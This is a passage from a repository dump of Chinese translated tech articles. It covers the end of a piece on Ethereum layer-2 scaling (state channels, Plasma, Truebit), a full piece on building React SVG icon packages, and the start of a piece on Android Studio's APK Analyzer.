和[这篇博文](https://medium.com/@icebearhww/ethereum-sharding-and-finality-65248951f649)。\n\n![](https://user-gold-cdn.xitu.io/2018/3/9/16208aa54f79c0f5?w=800&h=214&f=png&s=38948)\n\n#### **二. 如果我们能够从以太坊现有能力中压榨出更多有用的业务操作**\n\n第二种选择的方向则相反：不是增加以太坊区块链本身的容量，**如果我们可以通过我们已经拥有的能力来做更多的事情，会怎样**？在基础级别以太坊区块链的生产力都是相同的，但是实际上，我们可以做更多对人和应用程序有用的操作，比如交易，游戏中的状态更新，或者简单的计算。\n\n这是 “链下（off-chain）” 技术背后的思维逻辑，比如 [**状态通道（state channels）**](https://medium.com/l4-media/generalized-state-channels-on-ethereum-de0357f5fb44)**，**[**Plasma**](http://plasma.io/) **和** [**Truebit**](http://truebit.io)。虽然其中每个解决方案都在解决一个不同的问题，它们都通过执行“链下”操作而且能够不在以太坊区块链上运行的同时，仍然保证足够的安全性和权威性。\n\n这些也被称为 **第二层（layer 2）** 解决方案，因为它们建立在以太坊主链“之上”。他们不需要更改基本级别的协议，相反，它们只是作为作为以太坊上的智能合约，用于与链下软件进行交互。\n\n![](https://user-gold-cdn.xitu.io/2018/3/9/16208aa54623aeb3?w=800&h=210&f=png&s=49288)\n\n### **2. 第二层（layer 2）解决方案是加密经济解决方案**\n\n在深入了解第二层解决方案的细节之前，了解下使其可行的潜在细节是非常重要的。\n\n公有区块链的动力源泉在于[加密经济合约](https://hackernoon.com/making-sense-of-cryptoeconomics-5edea77e4e8d)。通过调整激励措施并用软件和加密措施保护激励，我们可以创建一个就内部状态达成一致的稳定计算机网络。这是[中本聪的白皮书](https://bitcoin.org/bitcoin.pdf)的关键内容，现已应用于许多不同的公有区块链（包括比特币和以太坊）的设计中。\n\n除了一些极端的情况下（比如 51% 攻击），**加密经济合约给了我们一个稳固的核心** 。我们知道链上（on-chain）操作（比如支付，智能合约）可以被看做是写入去执行。\n\n**第二层（layer 2）解决方案背后的关键是我们可以将这个稳固的内核用作锚点，一个可以附加其他经济机制的固定点**。这种 **第二层** 经济机制可以扩展公有区块链的可用性。让我们**脱离**区块链进行交互操作，并且在需要的情况下仍能可靠地重归到核心链上。\n\n这些构建在以太坊“之上”的层并不总是与链上操作具有相同的保障。但是，它们仍然具备**足够的权威性，安全性以及可用性**，特别是在终端略微减少时，我们能够更快的执行操作或维持更低的日常成本。\n\n**加密经济并不是随着中本聪的白皮书而开始或结束**，它是最适合我们去学习与应用的技术主体。不仅存在于核心协议的设计中，也存在于第二层系统的设计中，它们扩展了底层区块链的功能性。\n\n#### **一. 状态通道（State channels）**\n\n状态通道（State Channel）是一种用于执行交易和其他状态更新的“off-chain”技术。可是，一个状态通道“中”发生的事务仍保持了很高的安全性和权威性。如果出现任何问题，我们仍然可以选择重归到“稳固内核”上，它的权威性是建立在链上交易基础上。\n\n大部分读者会熟悉存在多年的概念——**支付通道（payment channel）**，它最近通过在比特币上借助[闪电网络（lightning network）](http://lightning.network/)实现了。状态通道是支付通道泛化出来的形式，它不仅可用于支付，还可用于区块链上任意的“状态更新”，比如智能合约中的更改。在 2015 年，Jeff Coleman [第一次详细介绍](http://www.jeffcoleman.ca/state-channels/)了状态通道。\n\n解释状态通道的运作方式的最佳方法就是来看一个样例。请记住这是一个概念性的解释，也就是说我们不会牵涉到具体实现的技术细节。\n\n现在试想一下，爱丽丝和鲍勃想玩一场井字游戏，赢家可以获得一个以太币。实现这一目的的最简单方法就是在以太坊上创建一个智能合约，实现井字游戏规则并跟踪每个玩家的动作。每次玩家想要移动时，他们都会向合约发送一个交易。当一名玩家获胜时，根据规则,合约会付给赢家一个以太币。\n\n这样是可行的，但是效率低下且速度慢。爱丽丝和鲍勃正在使用**整个以太网络**处理他们的游戏过程，这对于他们的需求来说有点不合时宜。他们每一步都需要支付挖矿费用（gas），并且还要在进行游戏的下一步之前都要**等待**挖矿完成。\n\n**不过，我们可以设计一个新的系统，它能使爱丽丝和鲍勃在井字游戏的过程中产生尽可能少的链上操作。** 爱丽丝和鲍勃能够以链下的方式更新游戏状态，同时在需要时仍能将其重归到以太坊主链上。我们将这样一个系统称之为“状态通道”。\n\n首先，我们在以太坊主链上创建一个能够理解井字游戏规则的智能合约 “Judge”，同时它也能够认定爱丽丝和鲍勃是我们游戏中的两位玩家。该合约持有一个以太的奖励。\n\n然后，爱丽丝和鲍勃开始玩游戏。爱丽丝创建并签署一个交易，它描述了她游戏的第一步，然后将其发送给鲍勃，鲍勃也签署了它，再将签名后的版本发回并保留一份副本。然后鲍勃也创建并签署一个描述他游戏中第一步的交易，并发送给爱丽丝，她也会签署它，再将其返回，并保留一份副本，他们每一次都会这样互相更新游戏的当前状态。每一笔交易都包含一个“随机数”，这样我们就可以直接知道游戏中走棋的顺序。\n\n**到目前为止，还没有发生任何链上的操作。**爱丽丝和鲍勃只是通过互联网**向彼此**发送交易，但没有任何事情涉及到区块链。但是，所有交易都可以发送给 Judge 合约，也就是说，它们是有效的以太坊交易。你可以把这看做两人在彼此来回填写了一系列经过区块链认证的支票。**实际上，并没有钱从银行中存入或取出，但是他俩都有一堆可以随时存入的支票。**\n\n当爱丽丝和鲍勃结束游戏时（可能是因为爱丽丝赢了），他们可以通过向 Judge 合约提交最终状态（比如，交易列表）来**关闭**该通道，这样就只用付一次交易费用。Judge 会确定双方都签署了这个“最终状态”，并等待一段时间来确保没人会对结果提出合理质疑，然后向爱丽丝支付一个以太币的奖励。\n\n**为什么我们需要设置一个让 Judge 合约等待一下的\"质疑时间\"**\n\n假设，鲍勃并没有给 Judge 发送一份**真实**的最终状态，而是发送一份**之前**他赢了爱丽丝的状态。这时如果 Judge 是一个非智能合约，它自己根本无法得知这个状态是否是最近的状态。\n\n而质疑时间给了爱丽丝一个机会能够证明鲍勃提交了虚假的游戏最终状态。如果有更近期的状态，她就会有一份已签名交易的副本，并可以将其提供给 Judge。Judge 可以通过检查随机数来判断爱丽丝的版本是否更新，然后鲍勃盗取胜利的企图就能被驳回了。\n\n#### **特性和限制**\n\n状态通道在许多应用中都很有用，它们对于在链上执行操作是一种严密的改进。但在决定应用程序是否适合被通道化时，请特别注意需要做出的一些特定折中：\n\n*   **状态通道依赖于可靠性**。如果爱丽丝在质疑时间内掉线了（也许是鲍勃不顾一切地想要赢下奖品，而破坏了她家的互联网连接），她可能无法在质疑时间内做出回应。但是，爱丽丝可以付款给其他人，让其保存一份她的状态副本，并作为她的权益代表，以保持系统的可靠性。\n*   **状态通道在需要长期交换大量状态更新的情况下非常有用**。这是因为**部署** Judge 合约时**创建**一个通道会产生初始成本。但是一旦部署完成，该通道内每一个状态更新的成本都会很低\n*   **状态通道最适于有一组明确参与者的应用程序**。这是因为 Judge 合约必须始终知晓所有参与到给定通道的实体（比如，地址）。我们可以增加或删除用户，但是每次都需要更改合约。\n*   **状态通道有很强的隐私属性**。因为一切都发生在参与者之间的通道“内”，而不是公共广播并记录在链上。只有开启和关闭交易必须公开。\n*   **状态通道的权威性是即时生效的**。这意味着只要双方签署了一个状态更新，它可以被认为是最终状态。双方都有明确保证，在必要的情况下，他们可以将状态“执行”到链上。\n\n我们 L4 团队正致力于创建 [**Counterfactual**](https://counterfactual.com/)，它是一个能在以太坊上推行使用状态通道的框架。我们的目标是使开发者可以在他们的项目中模块化地使用状态通道，而不需要成为状态通道专家。你可以通过[这里](https://medium.com/l4-media/generalized-state-channels-on-ethereum-de0357f5fb44)了解更多该项目的信息。我们将在 2018 年的第一季度发布技术细节文件。\n\n另一个值得注意的针对以太坊的状态通道项目是 [Raiden](https://raiden.network/)，目前正主要致力于构建**支付**通道网络，它使用了和 [闪电网络](http://lightning.network)类似的范式。这意味着你不必与想要交易的特定人员搭建通道。你可以与一个连接到更大型通道网络的实体架设一个单独的通道，这样你就能够向连接到同一网络的任何人付款而无需额外费用。\n\n除了 Counterfactual 和 Raiden，在以太坊上还有几个应用程序特定的通道实现。例如，Funfair 就为他们的去中心化赌博平台搭建了一套他们称之为 “[Fate channels](https://funfair.io/state-channels-in-disguise/)” 的状态通道，SpainChain 为成人项目演员构建了一套 [one-way payment channels](https://twitter.com/SpankChain/status/932801441793585152)（他们还在他们的 ICO 中[使用了状态通道](https://github.com/SpankChain/old-sc_auction)），还有 [Horizon Games](https://horizongames.co/) 也在他们的第一款基于以太坊的游戏中使用了状态通道。\n\n#### 二. Plasma\n\n2017 年 8 月 11 日，Vitalik Buterin 和 Joseph Poon 发表了一篇题为 [_Plasma: Autonomous Smart Contracts_](http://plasma.io/plasma.pdf)的文档。这份文档介绍了一种新技术，它能使以太坊每秒可以处理的远比现在更多的事务。\n\n\n和状态通道一样，Plasma 是一种用于管理链下交易的技术，同时依靠底层的以太坊区块链来实现其安全性。**但是 Plasma 采用了一种新思路，它是通过创建依附于“主”以太坊区块链的“子”区块链**。这些子链又可以循序产生它们自己的子链，并能依次循环往复。\n\n其结果是我们可以在子链层级中执行许多复杂的操作，在与以太坊主链保持最低限度交互的情况下，运行拥有数千名用户的完整应用程序。**Plasma 子链可以更快迁移，并承担更低的交易费用，因为其上的操作无需在整个以太坊区块链上进行重复。**\n\n![](https://user-gold-cdn.xitu.io/2018/3/9/16208aa5b49128bd?w=453&h=173&f=png&s=16416)\n\nplasma.io/plasma.pdf\n\n为了弄清楚 Plasma 的运行原理，我们来看一个其如何被运用的样例。\n\n试想你正在创建一个基于以太坊的卡牌交换游戏。这些卡牌是一些 ERC 721 不可替代的令牌（比如 Cryptokitties），但是拥有一些可以让玩家相互对战的特征和属性，这有点像炉石传说或者万智牌。这些类型的复杂操作在链上执行代价非常大，所以你决定在你的应用程序中使用 Plasma 作为替代方案。\n\n**首先，我们在以太坊主链上创建一系列的智能合约，它们可作为 Plasma 子链的“根节点”**。Plasma 根节点包含了子链的一些基本“状态交易规则”（诸如“交易无法消费已消费过的资产”），也记录了子链状态的哈希值，并建立一种允许用户在以太坊主链和子链间转移资产的“桥接”服务。\n\n然后，创建我们的子链。子链可以拥有自己的共识算法，在这个例子中，我们假设它使用了 [Proof of Authority (PoA)](https://en.wikipedia.org/wiki/Proof-of-authority)，这是一种依赖可信区块生产者（比如，验证者）的简单共识机制。在“工作量证明”系统中，区块生产者和**矿工**的功能类似，它们接收交易，形成区块并收取交易费用的节点。为了让样例简单点，我们假设你（也就是创建游戏的公司）是创建区块的**唯一**实体，即你的公司运营几个节点，这些节点就是子链的区块生产者。\n\n一旦子链创建好并生效后，区块生产者会周期性的向根节点合约发出提交。也就是他们实际上在说“我提交的 X 是子链中当前最新的区块”。这些提交被当做子链中事务的证明，记录在链上的 Plasma 根节点里。\n\n现在子链也准备好了，我们可以创建卡牌交换游戏的基本组件。这些卡片遵循 [ERC721](https://github.com/ethereum/eips/issues/721)，在以太坊主链上初始化，然后由 Plasma 根节点转移到子链上。**这里引入了一个关键点：Plasma 可以扩展我们与基于区块链的数字资产之间的交互，但是这些资产应当是首先由以太坊主链创建的**。然后，我们将实际的游戏应用程序以智能合约的方式部署到子链上，这样子链就包含了游戏所有的逻辑和规则。\n\n**当用户想要玩游戏时，他们只需要和子链进行交互**。他们可以持有财产（ERC721 卡牌），为了以太币购买并交换它们，与其他用户对战，以及其他游戏中允许的行为，而这些过程都不需要与主链进行交互。因为只有很少的节点（比如，区块生产者）才需要处理交易，这样费用就会降低很多，操作也能更快。\n\n#### **但是这种模式安全吗？**\n\n通过将操作从主链迁移到子链上的方式，我们明显可以执行更多的操作了。但是这样安全吗？发生在子链上的交易是否具备权威性？毕竟，我们方才描述的系统只有**一个中心实体**控制着子链的区块生产。这样不是中心化吗？**这样公司不是随时都能窃取你的资产或者拿走你的收藏卡牌吗？**\n\n简单来说，即使是在子链中完全由一个实体完全控制区块生产的**情景**下，Plasma 也能做出**你可以随时将你的资产收回到主链上**的基本承诺。如果一个区块生产者开始表现出敌意，最坏的情况也只是强迫你离开这个子链。\n\n让我们来看下区块生产者表现恶劣的几种方式，同时看下 Plasma 会怎样处理这些情景。\n\n**首先，假设一个区块生产者试图通过说谎欺骗你，他们可以通过创建一个伪造的新区块，声称你的资产被他们接管了。**由于他们是**唯一**的区块生产者，所以他们可以自由引入一个并不遵循区块链规则的新区块。和其他区块一样，他们也得将这个区块存在的证据作为提交推送给 Plasma 根节点合约。\n\n如上所述，用户有能将他们的资产随时收回到主链上的基本保障。在这个情景下，用户（或者代表他们权益的应用程序）会侦测到这种盗窃的企图，并在区块生产者尝试和使用他们的“被盗”资产之前撤回到主链上。\n\nPlasma 还创建了一种防止利用欺诈的机制。Plasma 包含了一种任何人（包括你）都可以向根节点合约发布**欺诈证明**（**fraud proof**）的机制，这样就可以证明区块生产者作弊了。这个欺诈证明会包含之前区块的信息，并且允许我们根据子链中的状态交易规则，错误的区块并不能正确接上之前的状态。如果欺诈被证实，则子链回滚到前一个区块。更妙的是，我们还构建了一种签出错误区块的区块生产者会被处罚的体系，这些区块生产者会因此丢失一个链上押金。\n\n![](https://user-gold-cdn.xitu.io/2018/3/9/16208aa552350e3e?w=538&h=220&f=png&s=18547)\n\nplasma.io/plasma.pdf\n\n**但是提交欺诈证明需要访问底层数据，即需要用之前的实际历史区块来证明欺诈**。如果区块生产者为了防止爱丽丝能够向根节点合约提交欺诈证明，**并**不分享之前区块的信息怎么办？\n\n在这种情况下，这个方案就是为了让爱丽丝收回资产并脱离子链而准备的。根本上来说，爱丽丝向根节点合约提交了一份“欺诈证明”。在一段任何人都可以质疑证明（比如，显示一些后面的合法区块证明实际上她消费了这些资产）的延迟时段后，爱丽丝的资产将会被移回到以太坊主链上。\n\n![](https://user-gold-cdn.xitu.io/2018/3/9/16208aa56b21465f?w=605&h=262&f=png&s=29263)\n\nplasma.io/plasma.pdf\n\n**最后，区块生产者可以监察子链中的用户**。如果区块生成者愿意，他们可以直接不在其区块中不包含实际事务，从而有效阻止用户在子链上执行任何操作。如上所述，这个解决方案再一次的直接将我们所有的资产收回到以太坊主链上。\n\n**但是，取出资产本身也会带来风险**。其中一个忧虑就是如果所有使用这一子链的用户在同一时刻都要取出资产会怎样。在这样一个大量取出的情况下，以太坊主链主链上可能没有足够的能力处理每个人在质疑期内的交易，[也就意味着用户可能会失去资金](https://www.reddit.com/r/ethereum/comments/6sqca5/plasma_scalable_autonomous_smart_contracts/dlex5pa/?utm_content=permalink&utm_medium=front&utm_source=reddit&utm_name=ethereum)。虽然有许多可行的技术能够防止这种情况发生，例如，通过延长质疑时间来适应取出资产的需求。\n\n**值得注意的是，所有区块生产者都是由一个实体控制这种情况并不是必定的，这只是我们案例中的极端个例**。我们可以创建创建区块生产者分布在不同实体间的子链，即像公有区块一样真正地去中心化。在这些情况下，区块链生产者按照上述方式交互的风险更小，而且用户必须将资产转移回以太坊主链的风险也更小。\n\n现在我们已经介绍了状态通道和 Plasma，有几点值得比较下。\n\n它们之间一个不同之处在于，当状态通道中所有利益方都一致同意提现，它可以**立即提现**。如果爱丽丝和鲍勃同意关闭通道并撤回它们的资金。只要他们都认同最终状态，他们就可以立即取得他们的资产。这在 Plasma 上并不可能实现，如上所述，用户在取出资产的过程中必须包含一个质疑时间。\n\n与 Plasma 相比，状态通道在每笔交易上更便宜，而且速度更快。**这意味着我们可以[在 Plasma 子链上建立状态通道](https://www.reddit.com/r/ethereum/comments/7jzx51/scaling_ethereum_hundreds_to_thousands_of/drb930m/?context=1)。**例如，一个应用程序中两个用户在进行一系列的小型交易。在子链上建立一个状态通道**应该**会比直接在子链上执行每个交易更加便宜和迅速。\n\n最后，需要注意的是这部分讲解缺失了大量细节。Plasma 本身还处于非常起始的阶段。如果你有兴趣了解 Plasma 现在的情况，请查看 Vitalik 最近的一个关于 “[Minimal Viable plasma](https://ethresear.ch/t/minimal-viable-plasma/426)” 的提议（即抽离出 plasma 的实现过程）。一个台湾的团队正在进行这项工作，可以在[这个分支](https://github.com/ethereum-plasma)中查看。OmiseGo 正在研究他们的分布式交易的实现，他们在[这里](https://blog.omisego.network/construction-of-a-plasma-chain-0x1-614f6ebd1612)发布了最近更新进展信息。\n\n#### **III. Truebit**\n\n[Truebit](http://truebit.io) 是一种帮助以太坊在链下进行**繁重**或者**复杂** 运算的技术。它对于提高以太坊区块链的总交易通量更有效，这使得它与状态通道和 Plasma 不一样。正如我们在开篇部分讨论的那样，扩展是一个多方面的难题，需要的不仅仅是更高的交易通量。**Truebit 不会让我们做更多的交易，但是它可以让基于以太坊的应用程序处理更复杂的事务并仍能被主链验证。**\n\n这就让我们能够对以太坊应用程序做一些有用的操作，这些操作的计算成本太高，无法在链上执行。例如，验证来自其他区块链的简单支付验证（SPV）证明，以太坊智能合约可以通过这个验证“检查”交易是否发生在另一个链上（比如比特币或者[狗币](https://twitter.com/Truebitprotocol/status/960662648193888256)）。\n\n我们来看一个例子。试想你有一些高代价计算（比如 SPV 证明）需要作为一个以太坊应用程序的一部分执行。因为 SPV 证明的计算成本太高了，你不能简单地将其作为以太坊主链上的智能合约的一部分。请牢记，因为每个节点必须并行执行该操作，所以在以太坊上执行任何计算的成本都非常高。以太坊中的区块都有**最大费用(gas)限制**，它用于限制该区块中所有事务组合在一起能够完成的计算总量。但是，SPV 证明的计算量实在太大，即使它只是其中**仅有**的交易，仍需要许多倍单个区块的**全部费用限制**。\n\n**相反，链下你只需要支付很少的费用就可以完成计算。**让你为此付费完成计算的这个人被称作**解算机**。\n\n首先，解算机支付给智能合约一份押金。然后，你给解算机一份计算的详细描述，它们运行计算，并返回结果。如果结果是正确的（大部分情况下发生在一秒钟之内），它们的押金将被退回。如果解算机被证实没有正确执行运算（比如，它们欺诈或者犯错了），它们会失去押金。\n\n但是，我们如何判断结果是否正确呢？Truebit 使用了一种叫做“验证游戏（verification game）”的经济机制。本质上我们创建了一种激励机制，它叫做**挑战者**（**challengers**）来检查解算机的结果。如果挑战者能够通过验证游戏证明解算计提交了错误结果，那么他们就可以收取奖励，而解算计则丢失他们的押金。\n\n由于验证游戏是在链上执行的，因此它不能简单地计算结果（这会推翻整个系统的设计初衷，如果**可以**在链上执行计算，我们也就不需要 Truebit 了）。相反，我们要求解算机和挑战者确定他们意见不一致的**特定操作**。**实际上，我们支持双方到一个角落，找出导致它们对结果不一致的具体代码行。**\n\n![](https://user-gold-cdn.xitu.io/2018/3/9/16208aa61bebb172?w=800&h=678&f=png&s=84463)\n\nTruebit 的简化概念图。\n\n一旦确定了具体的操作，它就小到可以由以太坊主链来执行了。然后，我们通过以太坊智能合约来执行这一行动，该合约一劳永逸地解决了哪一方说了真话，哪些又是谎言或错误。\n\n如果你想了解更多关于 Truebit 的信息，你可以查看[这份文档](https://people.cs.uchicago.edu/~teutsch/papers/truebit.pdf)，或者 Simon de la Rouviere 写的[这篇博文](https://medium.com/@simondlr/an-intro-to-truebit-a-scalable-decentralized-computational-court-1475531400c3)。\n\n### **结论**\n\n**第二层解决方案有着共同的远见**。一旦我们得到由公有区块链提供的稳定内核，就可以将其作为加密经济的锚点，扩展出无限的区块链应用。\n\n现在我们已经对一些样例进行了调查，这样就可以更具体地了解第二层解决方案怎么实现这种远见。第二层解决方案中运用的经济机制通常是**交互游戏**：它们通过为各方创造激励以使其相互竞争或彼此“检查”工作。**由于我们激发了另一方出示证实错误信息的强烈动机，因此区块链应用程序可以假定某个给定的声明是正确的。**\n\n在状态通道方案中，就是通过给各方一个“反驳”对方的机会，来确定通道的最终状态。在 Plasma 方案中，就是如何管理欺诈证明和提现。在 Truebit 方案中，就是通过激励挑战者证明解算机是错误的，从而保证解算机给出正确结果。\n\n这些系统将有助于解决将以太坊扩展到全球用户群过程中所涉及的一系列挑战。一些系统，像状态通道和 Plasma ，将会增加平台的交易通量。其他系统，像 Truebit，将能够作为智能合约的一部分进行更多的复杂计算，创建出新的使用案例。\n\n这三个例子只能代表加密经济扩展方案可能性设计的一小部分。我们甚至还没有谈到像 [Cosmos](https://cosmos.network/) 或 [Polkadot](https://blog.stephantual.com/web-three-revisited-part-two-introduction-to-polkadot-what-it-is-what-it-aint-657782051d34) 这样的“区块链间协议”（尽管这是“第二层”解决方案或另一篇博文的内容）。**我们还是应该期待能够发明出意想不到的新型第二层系统，来改进现有模型或在速度，终端和开销做出新的权衡。**\n\n比任何**独特的**第二层解决方案更重要的是进一步发展潜在的技术和机制，使这些加密经济设计成为可能。\n\n**这些第二层扩展方案有力证明了像以太坊这样的可编程区块链的长期价值**。只有在程序化区块链上才有可能建立基于第二层解决方案的经济机制：你需要用脚本语言实现执行交互式游戏的程序。因为比特币等区块链只提供了有限的脚本功能，这对于它们来说很困难（或者有些情况下，比如 Plasma，这是完全不可能实现的）。\n\n**以太坊第二层方案的出现让我们能在速度、终端和开销间做出新的权衡。**这是底层区块链能够适用于更多种类的应用程序。因此面对不同威胁模型的不同类型应用程序会自然的选择不同的权衡模式。对于需要保障区域性（乃至国家性的）范围内的大规模交易时，我们使用主链。对于更偏重速度的数字资产交易，我们可以使用 Plasma。第二层方案让我们能够在**不**损害底层区块链的前提下做出这些折中措施，并保持去中心化和权威性。\n\n而且，很难事先预测给定的扩展方案需要哪些脚本功能。**当以太坊被设计出来时， Plasma 和 Truebit 还尚未发明**。但是由于以太坊是完全可编程的，它能够实现我们能发明的任何经济机制。\n\n区块链技术的价值是建立在加密经济合约的稳定内核上，而诸如以太坊这样可编程区块链才是能够充分利用这种价值的唯一途径。\n\n**感谢 Vitalik Buterin，Jon Choi，Matt Condon，Chris Dixon，Hudson Jameson，Denis Nazarov 和 Jesse Walden 对于本文初稿的意见。**\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/making-svg-icon-libraries-for-react-apps",
    "content": "> * 原文地址：[Making SVG icon libraries for React apps](http://nicolasgallagher.com/making-svg-icon-libraries-for-react-apps/)\n> * 原文作者：[Nicolas](http://nicolasgallagher.com/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/making-svg-icon-libraries-for-react-apps.md](https://github.com/xitu/gold-miner/blob/master/TODO/making-svg-icon-libraries-for-react-apps.md)\n> * 译者：[AlbertHao](https://github.com/Albertao)\n> * 校对者：[AlenQi](https://github.com/AlenQi), [94haox](https://github.com/94haox)\n\n# 为你的 React 应用制作 SVG 图标库\n\n目前来说，使用 SVG 是为应用创建图标库的最好方法。通过 SVG 制作出来的图标是可缩放且可调整的，同时也是离散的，这意味着它们可以进行增量加载或更新。而与之相反，使用字体进行构建的图标是不能进行增量加载/更新的。仅这一点就使 SVG 图标成为了那些依赖于代码分离和增量部署的高性能应用的更佳选择。\n\n这篇文章描述了如何从一个 SVG 图标库中创建一个由 React 组件构成的包。尽管我会着重于 React 框架，然而制作任何其他类型的包也是同理的。在 Twitter 的项目中我使用了这篇文章介绍的几种不同方式来打包公司内部的 SVG 图标库，包括：优化过后的 SVG ，纯 JavaScript 模块，React Dom 组件，和 React Native 组件。\n\n## 使用图标\n\n最终，我们得到的是一个能像任何其他 JavaScript 包一样被安装并使用的 JavaScript 包。\n\n```\nyarnpkg add @acme/react-icons\n```\n\n每一个图标都可以将其看作一个可用的，被独立导出的 React 组件。\n\n```\nimport IconCamera from '@acme/react-icons/camera';\n```\n\n上面这行代码允许你的模块打包工具只打包需要的图标。当使用代码分割功能时，图标们能通过块来进行高效地分离。相比于那些引入字体并将所有图标打包入一个单一组件中的图标库来说，这是一个重大的优势。\n\n```\n// 整个图标库都被打包进了你的应用\nimport Icon from '@acme/react-icons';\nconst IconCamera = <Icon name='camera' />;\n```\n\n每一个图标都能很简单地根据使用情况来进行自定义（例如，颜色和大小等）。\n\n```\nimport IconCamera from '@twitter/react-icons/camera';\nconst Icon = (\n  <IconCamera\n    style={{ color: 'white', height: '2em' }}\n  />\n);\n```\n\n然而图标最终是渲染成 SVG 的，这是一个不为组件使用者们所知的实现细节。\n\n## 创建组件\n\n每个 React 组件都利用从 SVG 源文件里提取出的路径和维度数据渲染出了一个行内 SVG 图像。使用 `createIconComponent` 助手函数，我们只需寥寥几行模板代码便可从 SVG 数据中创建一个组件。\n\n```\nimport createIconComponent from './utils/createIconComponent';\nimport React from 'react';\nconst IconCamera = createIconComponent({\n  content: <g><path d='...'></g>,\n  height: 24,\n  width: 24\n});\nIconCamera.displayName = 'IconCamera';\nexport default IconCamera;\n```\n\n这是一个使用 `createIconComponent` 函数在搭建像 [Twitter Lite](https://mobile.twitter.com/) 这样的 web 应用（使用 [React Native for Web](https://github.com/necolas/react-native-web) 搭建）时的一个例子。This is an example of what the `createIconComponent` function looks like when building components for a web app like [Twitter Lite](https://mobile.twitter.com/), which is built with [React Native for Web](https://github.com/necolas/react-native-web).\n\n```\n// createIconComponent.js\nimport { createElement, StyleSheet } from 'react-native-web';\nimport React from 'react';\n\nconst createIconComponent = ({ content, height, width }) =>\n  (initialProps) => {\n    const props = {\n      ...initialProps,\n      style: StyleSheet.compose(styles.root, initialProps.style),\n      viewBox: `0 0 ${width} ${height}`\n    };\n\n    return createElement('svg', props, content);\n  };\n\nconst styles = StyleSheet.create({\n  root: {\n    display: 'inline-block',\n    fill: 'currentcolor',\n    height: '1.25em',\n    maxWidth: '100%',\n    position: 'relative',\n    userSelect: 'none',\n    textAlignVertical: 'text-bottom'\n  }\n});\n```\n\n将 `fill` 这个样式设置为 `currentcolor` 可以让你通过 `color` 样式属性来控制 SVG 的颜色。\n\n现在我们需要做的只剩下使用脚本来处理 SVG 并生成对应的 React 组件了。\n\n## 创建图标包\n\n你可以在 GitHub 上的一个叫做 [`icon-builder-example`](https://github.com/necolas/icon-builder-example) 的仓库里找到完成这一步工作的其中一种方式的完整示例代码。\n\n整个示例工具的项目结构大概长这样：\n\n```\n.\n├── README.md\n├── package.json\n├── scripts/\n    ├── build.js\n    ├── createReactPackage.js\n    └── svgOptimize.js\n└── src/\n    ├── alerts.svg\n    ├── camera.svg\n    ├── circle.svg\n    └── ...\n```\n\n[构建脚本](https://github.com/necolas/icon-builder-example/blob/master/scripts/build.js)使用了 [SVGO](https://github.com/necolas/icon-builder-example/blob/master/scripts/svgOptimize.js) 来优化 SVG，提取 SVG 路径信息和元数据。之后例子中的 [React 打包工具]((https://github.com/necolas/icon-builder-example/blob/master/scripts/createReactPackage.js)) 使用了模板来创建 `package.json` 文件和那些需要首屏展示的 React 图标。\n\n```\nimport createIconComponent from './utils/createIconComponent';\nimport React from 'react';\nconst ${componentName} = createIconComponent({\n  height: ${height},\n  width: ${width},\n  content: <g>${paths}</g>\n});\n${componentName}.displayName = '${componentName}';\nexport default ${componentName};\n```\n\n为了从相同的 SVG 源编译其他类型的包，也可以引入额外的打包工具。当底层的图标库改变时，只需要几条命令就可以重新编译数以百计的图标并为每个包发布新版本。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/making-the-most-of-the-apk-analyzer.md",
    "content": "> * 原文地址：[Making the most of the APK analyzer](https://medium.com/google-developers/making-the-most-of-the-apk-analyzer-c066cb871ea2#.k0s1s1kgl)\n* 原文作者：[Wojtek Kaliciński](https://medium.com/@wkalicinski)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[XHShirley](https://github.com/XHShirley)\n* 校对者：[phxnirvana](https://github.com/phxnirvana), [ZiXYu](https://github.com/ZiXYu)\n\n\n# 利用好 Android Studio 中的 APK Analyzer\n\n最近的 Android Studio 插件中我最喜欢的是 APK Analyzer。你可以从顶端菜单栏中的 **Build** 找到 **Analyze APK**。\n![](https://d262ilb51hltx0.cloudfront.net/max/800/0*RiXOWhjkTw8ELX7M.)\n\n专业提示：你也可以拖拽 APK 文件到编辑栏中打开。\n\nAPK Analyzer 让你可以打开并审查存于你电脑中的 APK 文件的内容，不管它是通过本地 Android Studio 工程构建，还是需要从服务器上或者其他构件仓库中构建后得到的。它不需要必须要在任何你所打开的 Android Studio 项目中被构建，甚至也不需要它的源代码。\n\n> **注意：**APK Analyzer 最好用于发布版本的构建。如果你需要分析你 app 的调试版本，确认你的 APK 不是通过 Instant Run 构建出来的。如果想要确认这一点，你可以在顶部菜单栏点击 **Build** → **Build APK**，通过查看 instant-run.zip 文件是否存在，来确认你是否打开了通过 Instant Run 构建 APK。\n\n使用 APK analyzer 是一个非常好的途径来查找 APK 